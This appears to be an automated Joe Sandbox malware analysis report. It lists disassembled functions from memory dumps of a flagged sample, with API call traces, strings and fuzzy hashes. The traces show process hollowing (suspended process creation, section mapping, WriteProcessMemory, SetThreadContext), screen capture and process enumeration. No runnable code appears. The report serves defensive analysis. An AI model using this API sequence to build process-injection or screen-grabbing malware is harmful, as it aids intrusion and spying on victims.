GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,03F6BE2E,00000000,03F6C047,?,?,00000000,00000000), ref: 03F6A7DF

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction ID: 39422675c726fd70b5359f10c5c50221b92ae5494cca3a2e5ec329413ffa7e24
Opcode Fuzzy Hash: c1878156b55314fbd131a135bc1448ea00a65f38ae630a1894243e0b3e8d53f1
Instruction Fuzzy Hash: D3D05EBA30E2A03AA220D15A2D84DBB5AECCBC66A1F04443EB948DA201D2008C0692B1

Uniqueness

Uniqueness Score: -1.00%

Function 1602F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,160354FC,16094EE0,16095A00,16094EE0,00000000,16094EE0,00000000,16094EE0,4.9.4 Pro), ref: 1602F8E5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 77a3965c48f27e4aeb81b2440f2677a1a4a9de5dc85348a8975c015739ba74e8
Instruction ID: 54888ee3d2b3355d02da02690006ab004afd2feb249202c69bc1f9b5f005d779
Opcode Fuzzy Hash: 77a3965c48f27e4aeb81b2440f2677a1a4a9de5dc85348a8975c015739ba74e8
Instruction Fuzzy Hash: F6D05B3074411C7BD614D6958C4AEAA7B9DD701A51F000295BA05D72C0D9E16E0487E1

Uniqueness

Uniqueness Score: -1.00%

Function 16054B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00034B53,1605487A), ref: 16054B4C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7aa45a2267af67b9c5b0577416c7db8175ab559a914dcb0452061e316e6a2442
Instruction ID: 62011835fa08a197f4ab81cbb676f9d8657123a605cd3a788f604a36ee0a85fc
Opcode Fuzzy Hash: 7aa45a2267af67b9c5b0577416c7db8175ab559a914dcb0452061e316e6a2442
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1605E0CC Relevance: 1.5, Strings: 1, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 1605E23C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
Instruction ID: c79ce311ca74c348f61e50ceb228529f006b25c9fe6bd4d6c29576f4bfe1459f
Opcode Fuzzy Hash: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
Instruction Fuzzy Hash: 955158B5E0478A67EB24CBA48C557AE2FDB9B42240F03C909D9C3CB685C605FD4DC79A

Uniqueness

Uniqueness Score: -1.00%

Function 1605DE9D Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 1605E00D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
Instruction ID: 85f63c741009d2b1e71747bf0b05d7a4957ed3606c0a0dad2340bbbf21e13d7c
Opcode Fuzzy Hash: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
Instruction Fuzzy Hash: F4516B73E5074697EB20D92488557AFAFDADB12200F02490FD9C6C76C1DA05ED8FC39A

Uniqueness

Uniqueness Score: -1.00%

Function 16047A46 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

@, xrefs: 16047A9D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
Instruction ID: 240bcc91815311ed3509d48005cfc395dfe3c3d8f685e531853d792e63f9754d
Opcode Fuzzy Hash: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
Instruction Fuzzy Hash: E54128719183858BD350CF29C58071AFBE1FFD8314F645A2EF889A3250D375EA86CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1606D9C9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123f4954cd921466965088e01e26bd7812ac945d7e74be688926a9062ca7d965
Instruction ID: 5d8ee7b2eb5bd22f43eea2fc598acf290ec5980866d7ab947c0324672b188c7f
Opcode Fuzzy Hash: 123f4954cd921466965088e01e26bd7812ac945d7e74be688926a9062ca7d965
Instruction Fuzzy Hash: 8B324732D29F514DD7279639C871325A68EAFB73C4F11D73BE91AB5A9AEB28C4C34100

Uniqueness

Uniqueness Score: -1.00%

Function 1603F0FA Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80a43d6613d2cc44a87a2a7b42b24337b7313d3f5d9f36f695e048a997dbb0e1
Instruction ID: 476522f8845038e4cf3b086c5f6b5df075b56410d03005ea16fb21e1b47008ef
Opcode Fuzzy Hash: 80a43d6613d2cc44a87a2a7b42b24337b7313d3f5d9f36f695e048a997dbb0e1
Instruction Fuzzy Hash: 3C32C071A187869FD719CF2CC88076ABBE2BF84316F044A2DF8D587291D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1604739D Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21c32064187397cd63125a575d8bb68c5539acf4a2670978186655fd294b8a9
Instruction ID: a474d1627a63d8ebc2e304adc3ec26cb8670777dfc1d20bfa214264c1897bd9f
Opcode Fuzzy Hash: d21c32064187397cd63125a575d8bb68c5539acf4a2670978186655fd294b8a9
Instruction Fuzzy Hash: 7702D275B142658FC329CF2DE89053AB7E2FB9D301745852EE585C7381DB34EA26CB90

Uniqueness

Uniqueness Score: -1.00%

Function 16046E0E Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eb7bcfe1f10405d41f4c79b2b7f9e7b546851a0348e5944e86c0da87d139e47
Instruction ID: 2bdbb8e126eff08dc11e9987f6ebb676cb7d9cca1b58afdca1bd74d1e0f70d13
Opcode Fuzzy Hash: 7eb7bcfe1f10405d41f4c79b2b7f9e7b546851a0348e5944e86c0da87d139e47
Instruction Fuzzy Hash: 33F19579A142699FC319DF1DE8D083B77E6FB99301B45091EF282C7281CB35E619CB91

Uniqueness

Uniqueness Score: -1.00%

Function 16057D33 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 42bdbd7150b809eecc701487f30c6b6c1d4a84f1da70f540c4b6cfd13ec21716
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 26C16D32B051A30ADB4DCA3D853457FBEE15A926B1717176ED8B2CB1C5FE20D168E620

Uniqueness

Uniqueness Score: -1.00%

Function 16058168 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 585e9e749cefc34c3878822cfd1b1cd00b8d75f7d7a79b15e0d473b6fcb064e1
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 76C15F32B091E30ADB4D8A3D857453FBEE15A926B171B076DDCB2CB1D5FE20C268D620

Uniqueness

Uniqueness Score: -1.00%

Function 160578FE Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: a3b00efd965a45489bd1e5b0c152770dfc0ba74880c01f852ff1bf71ac2d4dae
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 47C15F32B151D30AEB0DCA3E857453FBEE19A926B1717176DD8B2CB1D5FE20C168E620

Uniqueness

Uniqueness Score: -1.00%

Function 160574E6 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 812d618af0bdd1f6757921cd416c546732b95b2bbde1cd33d8e0898b558a416e
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 9CC16D32B552930ADB0DCA3E853453FBFE15A926B171B076DD8B2CB1D5FE60C168E620

Uniqueness

Uniqueness Score: -1.00%

Function 1603DB62 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd247f65566e5dcac570d963c8fc58fd9122a78ba50124b87c8ae73a408a6cb
Instruction ID: 63b2614bc41e3ce5fbdded08b7ae9ceee01712887ba82f7000d6d8d09101ccad
Opcode Fuzzy Hash: 5bd247f65566e5dcac570d963c8fc58fd9122a78ba50124b87c8ae73a408a6cb
Instruction Fuzzy Hash: 58B1933951429A8ECB05EF28C4913F63BA1EF6A301F4850B9EC9CCF797D2358506EB64

Uniqueness

Uniqueness Score: -1.00%

Function 1605E558 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5784e187e97e433a5c473063da44f16dc8b73926e9b850ce3f4d9dd64b9d52f6
Instruction ID: cafc4f21778a1607056b8aaa475308f1d0d6219c1eb5b7c0d6626191704b1388
Opcode Fuzzy Hash: 5784e187e97e433a5c473063da44f16dc8b73926e9b850ce3f4d9dd64b9d52f6
Instruction Fuzzy Hash: A6616D75E0074956EA24C9244C90BAE2FDAEB413C0F53C929EAC3DB1C1E651ED8DC795

Uniqueness

Uniqueness Score: -1.00%

Function 1605E2FB Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf725e9fc5d3c8637a26291463e9fc3e12c1dbb386f82d51a9dc8064cf825d4
Instruction ID: 2a047245c812da6469f1f7d3ea07c9ddf1fcaa71be3e8e5eb73e92c5cc8710cf
Opcode Fuzzy Hash: ebf725e9fc5d3c8637a26291463e9fc3e12c1dbb386f82d51a9dc8064cf825d4
Instruction Fuzzy Hash: 31617B71E00705A6EB24C9244C847AE2FDAEF01640F43C91AE9C7DB2E0D651FD8ECB55

Uniqueness

Uniqueness Score: -1.00%

Function 16047BAF Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba1fc680d59fa3119c336882322ad8c37fd3cd0560676a8d3a4e4a4c2211dd3
Instruction ID: ed2c31709996c809b1948bb89ae0ae833fb70c0e9d4f2051d604aa5e75ad3e59
Opcode Fuzzy Hash: 2ba1fc680d59fa3119c336882322ad8c37fd3cd0560676a8d3a4e4a4c2211dd3
Instruction Fuzzy Hash: CA615036A183459FC304DF34D981A6BBBE5AFCC614F510E2DF49996160EA71EA0CCB82

Uniqueness

Uniqueness Score: -1.00%

Function 03F620C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Uniqueness

Uniqueness Score: -1.00%

Function 16058770 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a41d91dcc4fcb58ab930aedb88e891681fcfc89c69821e995b5b81f5ebdf011d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 0611CB7BB011A683E204C529D8F46BB9FDAEBC5221F2B4279D8424B658D262E74DD600

Uniqueness

Uniqueness Score: -1.00%

Function 03F79B94 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,03F79E1B,?,?,03F79EAD,00000000,03F79F89), ref: 03F79BA8
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03F79BC0
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03F79BD2
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03F79BE4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 03F79BF6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 03F79C08
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 03F79C1A
GetProcAddress.KERNEL32(00000000,Process32First), ref: 03F79C2C
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 03F79C3E
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 03F79C50
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03F79C62
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03F79C74
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 03F79C86
GetProcAddress.KERNEL32(00000000,Module32First), ref: 03F79C98
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 03F79CAA
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03F79CBC
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03F79CCE

Strings

Thread32First, xrefs: 03F79C6C
Process32FirstW, xrefs: 03F79C48
Module32FirstW, xrefs: 03F79CB4
Module32Next, xrefs: 03F79CA2
Heap32ListNext, xrefs: 03F79BDC
Heap32First, xrefs: 03F79BEE
kernel32.dll, xrefs: 03F79BA3
Process32NextW, xrefs: 03F79C5A
Toolhelp32ReadProcessMemory, xrefs: 03F79C12
Thread32Next, xrefs: 03F79C7E
Process32Next, xrefs: 03F79C36
CreateToolhelp32Snapshot, xrefs: 03F79BB8
Heap32Next, xrefs: 03F79C00
Module32NextW, xrefs: 03F79CC6
Module32First, xrefs: 03F79C90
Heap32ListFirst, xrefs: 03F79BCA
Process32First, xrefs: 03F79C24

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 99977303f4f33e091f87768f7aaf5b46f625b62360230090cfea039e6bce53be
Instruction ID: 172929589018fcb6f06122266a99908d38df05ef6d29471d88833253367f7d15
Opcode Fuzzy Hash: 99977303f4f33e091f87768f7aaf5b46f625b62360230090cfea039e6bce53be
Instruction Fuzzy Hash: 863125B0AA1768AFDF00FF76ED95E5E33B8EB07201B40056AA428DF619D7B5D400CB11

Uniqueness

Uniqueness Score: -1.00%

Function 16038E76 Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 328windowmemoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 16038E90
CreateCompatibleDC.GDI32(00000000), ref: 16038E9D

Part of subcall function 16039325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 16039355

CreateCompatibleBitmap.GDI32(00000000,?), ref: 16038F13
DeleteDC.GDI32(00000000), ref: 16038F2A
DeleteDC.GDI32(00000000), ref: 16038F2D
DeleteObject.GDI32(00000000), ref: 16038F30
SelectObject.GDI32(00000000,00000000), ref: 16038F51
DeleteDC.GDI32(00000000), ref: 16038F62
DeleteDC.GDI32(00000000), ref: 16038F65
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 16038F89
GetCursorInfo.USER32(?), ref: 16038FA7
GetIconInfo.USER32(?,?), ref: 16038FBD
DeleteObject.GDI32(?), ref: 16038FEC
DeleteObject.GDI32(?), ref: 16038FF9
DrawIcon.USER32(00000000,?,?,?), ref: 16039006
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 1603903C
GetObjectA.GDI32(00000000,00000018,?), ref: 16039068
LocalAlloc.KERNEL32(00000040,00000001), ref: 160390D5
GlobalAlloc.KERNEL32(00000000,?), ref: 16039144
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 16039168
DeleteDC.GDI32(?), ref: 1603917C
DeleteDC.GDI32(00000000), ref: 1603917F
DeleteObject.GDI32(00000000), ref: 16039182
GlobalFree.KERNEL32(?), ref: 1603918D
DeleteObject.GDI32(00000000), ref: 16039241
GlobalFree.KERNEL32(?), ref: 16039248
DeleteDC.GDI32(?), ref: 16039258
DeleteDC.GDI32(00000000), ref: 16039263

Strings

DISPLAY, xrefs: 16038E89

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIconInfo$BitmapBitsCursorDisplayDrawEnumLocalSelectSettingsStretch
String ID: DISPLAY
API String ID: 4256916514-865373369
Opcode ID: 01fa06577f6ca872aa1f57030a287c39aed67336db20336be3cf70998fb60b1a
Instruction ID: 98cb8e03bb38efada25b4a5ff5e22ca7ba4fd358610efdce0e314691d915b916
Opcode Fuzzy Hash: 01fa06577f6ca872aa1f57030a287c39aed67336db20336be3cf70998fb60b1a
Instruction Fuzzy Hash: D3C171755083519FD724DF24C844B6BBBEAFF88712F01491DF68997250EB30E908CB92

Uniqueness

Uniqueness Score: -1.00%

Function 160380EF Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 289libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 16038136
GetProcAddress.KERNEL32(00000000), ref: 16038139
GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 1603814A
GetProcAddress.KERNEL32(00000000), ref: 1603814D
GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 1603815E
GetProcAddress.KERNEL32(00000000), ref: 16038161
GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 16038172
GetProcAddress.KERNEL32(00000000), ref: 16038175
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 16038217
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 1603822F
GetThreadContext.KERNEL32(?,00000000), ref: 16038245
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 1603826B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 160382ED
TerminateProcess.KERNEL32(?,00000000), ref: 16038301
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 16038341
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 1603840B
SetThreadContext.KERNEL32(?,00000000), ref: 16038428
ResumeThread.KERNEL32(?), ref: 16038435
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 1603844C
GetCurrentProcess.KERNEL32(?), ref: 16038457
